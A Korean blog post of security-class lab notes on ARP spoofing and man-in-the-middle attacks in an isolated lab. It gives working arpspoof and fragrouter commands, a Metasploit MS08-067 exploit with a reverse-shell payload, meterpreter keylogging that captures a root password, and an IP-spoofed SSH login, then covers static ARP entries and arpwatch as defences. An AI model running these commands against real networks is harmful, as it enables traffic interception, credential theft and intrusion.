본문 바로가기
정보보안

정보보안6 7차시

by IT매니절 2024. 9. 28.


MITM Attack 중간자 공격
통신하는 두 대상 사이에 끼어들어 데이터를 도청하거나 조작하는 공격
ex) ARP 스푸핑

 

Swtich mac address table

: 스위치가 프레임을 받으면 자신이 갖고있는 메모리에서 포트와 mac주소가 없을시 등록하는 공간


ARP 스푸핑
로컬 네트워크 환경에서 실행되고 공격자와 피해자가 같은 네트워크에 연결
공격자가 내부망에 침투하고 권한상승을 통해 관리자를 획득한 후 그 다음 ARP 스푸핑 시도

ARP 스푸핑 대응방안
네트워크에서 ARP 보안 기능 사용
암호화 프로토콜 활용하여 통신 (HTTPS, SSH)
ARP 캐쉬 테이블을 고정으로 설정

 

LAN 상에서의 호스트 통신 방법은 MAC 주소 통신이며

이를 이용하여 ARP 스푸핑으로 스니핑(도청)을 한다

 

 

실습 : arp 스푸핑

1) 100.3 /  00:0c:29:5a:da:e9 (공격자)

2) 100.13 / 00:0c:29:02:55:89 (희생자1)

3) 100.10 / 00:0c:29:f6:71:d0 (희생자2)

 

(기존에 활용하던 리눅스에서 방화벽iptables 설정때문에 ping 테스트가 되지 않는 해프닝이 있었다

방화벽은 꼭 비활성화하고 진행한다)

 

arp cache table은 기본적으로 다이나믹(동적) 으로 설정되어 있다apr -a로 확인하고 arp -d 삭제할ip 로 삭제가능

 

.13 은 xp이고 firewall.cpl 명령어로 방화벽을 비활성화한다dsniff 패키지를 공격자(kali 리눅스)에 설치 (공식 사이트 : https://www.monkey.org/~dugsong/dsniff/ )
apt-get update
apt -y install dsniff

 

.10 은 리눅스이고 systemctl stop firewalld 또는 iptables -F 로 비활성화한다

 

arpspoof -i eth0 -t 192.168.100.13 192.168.100.10
=> -i eth0 : 현재 설정상 eth0이 외부 인터페이스를 의미한다
=> 192.168.100.13에게 192.168.100.10인 척 전송한다

.10의 맥주소가 .3 맥주소로 위조됨

( * 윈도우의 경우 192.168.100.10에 ping을 넣어 arp 캐쉬테이블에 한 번 기록해야 변조가 먹혔다 )

.13의 맥주소가 .3(공격자)의 맥주소로 변조됨

 

변조뿐만 아니라, 포워딩을 해주어야 희생자간의 ping이 제대로 동작한다

 

1. 커널 포워딩

영구적 설정

: /etc/sysctl.conf 설정

임시적 설정

: /proc/sys/net/ipv4/ip_forward 수정

1) sysctl -w net.ipv4.ip_forward=1

2) echo 1 > /proc/sys/net/ipv4/ip_forward

1번이나 2번중에 선택해서 설정한다

 

설정 후.13 -> .10 ping이 동작한다

 

커널 포워딩의 경우

희생자에서 tracert 또는 traceroute 로 경로를 추적하면 공격자 .3 이 노출된다

 

 

2. 패킷/프로그램 포워딩

 

fragrouter 명령어를 사용한다

 

apt -y install fragrouter

공격자 .3에 설치

 

프로그램을 이용하기 때문에 공격자 ip가 노출되지 않는다

단점은 불안정할 수 있다는 점

 

 

arpspoof 명령어로 변조한 후

-B1 옵션으로 프로그램스타트

패킷 포워딩 내역이 출력된다

tracert로 추적시에도 .3 공격자가 노출되지 않는다

대신 느려졌음

 

 

 

 

실습 : arp 스푸핑을 통한 서버 탈취

조건

1) firewalld 방화벽 비활성화

2) 희생자들 iptables로 ssh 22 tcp 포트 허용, 나머지는 접근차단 상태

3) 희생자1과 희생자2는 서로간의 통신을 허용

sudo iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A INPUT -i lo -j ACCEPT

sudo iptables -A INPUT -m state --state NEW -s 192.168.100.1 -j ACCEPT
sudo iptables -A INPUT -m state --state NEW -s 192.168.100.13 -j ACCEPT

sudo iptables -A INPUT -j DROP

 

$ sudo iptables -nvL INPUT
Chain INPUT (policy ACCEPT 16209 packets, 40M bytes)
 pkts bytes target     prot opt in     out     source               destination     
  140 12416 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            state RELATED,ESTABLISHED
    0     0 ACCEPT     all  --  lo     *       0.0.0.0/0            0.0.0.0/0       
    0     0 ACCEPT     all  --  *      *       192.168.100.1        0.0.0.0/0            state NEW
    0     0 ACCEPT     all  --  *      *       192.168.100.13       0.0.0.0/0            state NEW
   10   600 DROP       all  --  *      *       0.0.0.0/0            0.0.0.0/0 

 

공격자에서 .10으로 ssh 접속을 시도하면 drop 룰에 매칭되어 연결불가한 상태

 

use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp
set RHOSTS 192.168.100.13
exploit

공격자 쪽에서 msfconsole로 리버스 쉘 연결

 

ps로

1020  728   svchost.exe  x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System3

1408  1384  explorer.exe  x86   0        VICTIM_WINXP\ksw 

해당 프로그램 정보 확인

 

meterpreter > migrate 1408
[*] Migrating from 1020 to 1408...
[*] Migration completed successfully.

 

explorer.exe에 해당하는 1408로 migrate를 이용해 전환

 

meterpreter > keyscan_start
Starting the keystroke sniffer ...

 

키입력을 캡쳐하는 명령어 실행

 

meterpreter > keyscan_dump
Dumping captured keystrokes...
192.168.1.101.<^H>/data<CR>
192.168.100.10root<CR>
1234<CR>

 

타겟이 입력한 키 정보를 덤프로 떠서 얻어올 수 있다

 

meterpreter > keyscan_stop

meterpreter > exit

 

# ifconfig eth0:1 192.168.100.13

공격자.3 은 가상 인터페이스로 .13을 설정한다

( 기존 ssh 키 파일이 있다면 삭제 rm -f .ssh/known_hosts )

 

-b 옵션 없이 ssh 접속하면 접속되지 않는다

ssh -b 가상ip root@희생자ip

-b 옵션으로 가상ip를 통해 접속하면 패스워드를 묻는다 (비밀번호 입력시 접속가능)

( 단, 원격 root 접속을 막아놓은 경우 패스워드를 옳게 입력해도 접속되지 않음 )

 

 

arp 스푸핑 대응방안

리눅스 : arp -s ip주소 mac주소

윈도우 xp : arp -s ip주소 mac주소

윈도우 7이상 : netsh interface ip add neighbors "인터페이스이름" ip주소 mac주소

( cmd > ncpa.cpl > 인터페이스이름 확인 )

 

단 재부팅하면 사라지므로 영구적으로 설정해줄 필요가 있다

 

centos의 경우 /etc/init.d/rc.local 에서 설정

 

arp 스푸핑 모니터링 툴 arpwatch를 사용하는 경우도 있다

 

sudo dnf -y install arpwatch mailx

 

설치후

sudo vi /etc/sysconfig/arpwatch 파일에

OPTIONS="-u arpwatch -i ens160 -e root -s 'root (Arpwatch)'" 설정추가

systemctl --now enable arpwatch

스타트

 

sudo systemctl restart arpwatch.service

 

다음시간에 메일서버까지 진행

arpwatch는 변조가 되면 메일을 보내준다

'정보보안' 카테고리의 다른 글

정보보안7 1차시  (0) 2024.10.05
정보보안6 8차시  (0) 2024.09.29
정보보안6 6차시  (0) 2024.09.22
정보보안6 5차시  (0) 2024.09.21
정보보안6 4차시  (0) 2024.09.08